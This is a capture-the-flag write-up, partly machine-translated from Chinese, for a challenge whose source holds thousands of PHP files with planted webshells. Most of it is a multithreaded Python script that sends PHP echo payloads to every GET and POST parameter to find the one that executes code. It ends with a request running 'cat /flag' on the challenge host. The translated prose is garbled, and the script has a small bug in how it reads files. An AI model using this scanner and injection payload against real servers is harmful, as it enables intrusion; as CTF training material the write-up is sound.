0x01 item analysis
1, we first open the topic, suggesting you can download the source code
download source code is open thousands of php
files, and a mess, simply can not see, but which contains a lot shell
but a lot of shell
useless, so we guess that thousands of php
file affirmative containing shell can be used, we only tried to write the script.
0x02 script analysis
– coding: utf-8 –
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
0x03 analysis results
This script can be found about four minutes using a dot parameters. I used to write scripts to run an hour or two did not come out, mainly because the script is very clever pass all the parameters go in together, if you find you can use to find specific parameters subdivided.
And through all previously GET
and POST
parameters to test the speed is really slow! ! !
In the final analysis it is too dishes! ! !
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
We visit
http://12a60ca6-f3f8-42bd-b23f-c2403a362f9e.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
getflag